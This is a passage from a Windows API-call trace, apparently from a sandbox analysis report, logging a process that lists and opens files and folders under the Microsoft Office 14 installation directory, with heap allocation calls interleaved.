ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0078.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.319] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.319] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0078.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb390 [0078.319] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb390, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xacb390, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0078.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb390) returned 1 [0078.320] NtClose (Handle=0x170) returned 0x0 [0078.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0078.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b55f8 [0078.320] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0078.320] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.320] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0078.320] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0078.320] GetLastError () returned 0x12 [0078.320] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0078.320] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.321] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.321] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0078.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b5700 [0078.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b5808 [0078.321] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.321] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0078.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb390 [0078.321] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb390, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xacb390, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0078.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb390) returned 1 [0078.322] NtClose (Handle=0x170) returned 0x0 [0078.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b5808) returned 1 [0078.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b5808 [0078.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b5910 [0078.322] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9140 [0078.322] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.322] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="")) returned 1 [0078.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b5a18 [0078.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab55a8 [0078.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b5b20 [0078.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.323] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="")) returned 0 [0078.323] GetLastError () returned 0x12 [0078.323] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0078.323] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.323] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.324] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="")) returned 1 [0078.324] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="")) returned 0 [0078.324] GetLastError () returned 0x12 [0078.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b5910) returned 1 [0078.325] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0078.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b5a18) returned 1 [0078.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b5808) returned 1 [0078.325] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0078.325] GetLastError () returned 0x12 [0078.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b55f8) returned 1 [0078.325] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b5700) returned 1 [0078.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0078.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0078.326] GetLastError () returned 0x12 [0078.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.326] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0078.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.326] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0078.326] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3357b00, ftCreationTime.dwHighDateTime=0x1cba075, ftLastAccessTime.dwLowDateTime=0xcfdb94e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa3357b00, ftLastWriteTime.dwHighDateTime=0x1cba075, nFileSizeHigh=0x0, nFileSizeLow=0x36160, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.DLL", cAlternateFileName="")) returned 1 [0078.326] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd00b3060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x8f3d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDP.DLL", cAlternateFileName="")) returned 1 [0078.326] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f6a020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x30968, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITOR.EXE", cAlternateFileName="")) returned 1 [0078.326] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f90180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xad88, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITORS.DLL", cAlternateFileName="")) returned 1 [0078.326] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2fdc440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMENTS.DLL", cAlternateFileName="")) returned 1 [0078.326] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd30c0c80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x237a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMUTIL.DLL", cAlternateFileName="")) returned 1 [0078.326] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x25b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMABLT32.DLL", cAlternateFileName="")) returned 1 [0078.326] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x60903850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x206fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMSMDB32.DLL", cAlternateFileName="")) returned 1 [0078.326] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGDIC.DAT", cAlternateFileName="")) returned 1 [0078.326] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x8578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGIDX.DAT", cAlternateFileName="")) returned 1 [0078.326] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x4c22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGLISH.LNG", cAlternateFileName="")) returned 1 [0078.326] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xf380, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityDataHandler.dll", cAlternateFileName="")) returned 1 [0078.326] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x41980, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPicker.dll", cAlternateFileName="")) returned 1 [0078.326] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6094fb10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x35980, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPE.DLL", cAlternateFileName="")) returned 1 [0078.327] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x81e8ee40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x14fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERXIMP.ADD", cAlternateFileName="")) returned 1 [0078.327] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cdf900, ftCreationTime.dwHighDateTime=0x1cac26b, ftLastAccessTime.dwLowDateTime=0x5221e250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52cdf900, ftLastWriteTime.dwHighDateTime=0x1cac26b, nFileSizeHigh=0x0, nFileSizeLow=0x1aecb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.EXE", cAlternateFileName="")) returned 1 [0078.327] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e14a00, ftCreationTime.dwHighDateTime=0x1cac1f0, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8e14a00, ftLastWriteTime.dwHighDateTime=0x1cac1f0, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, 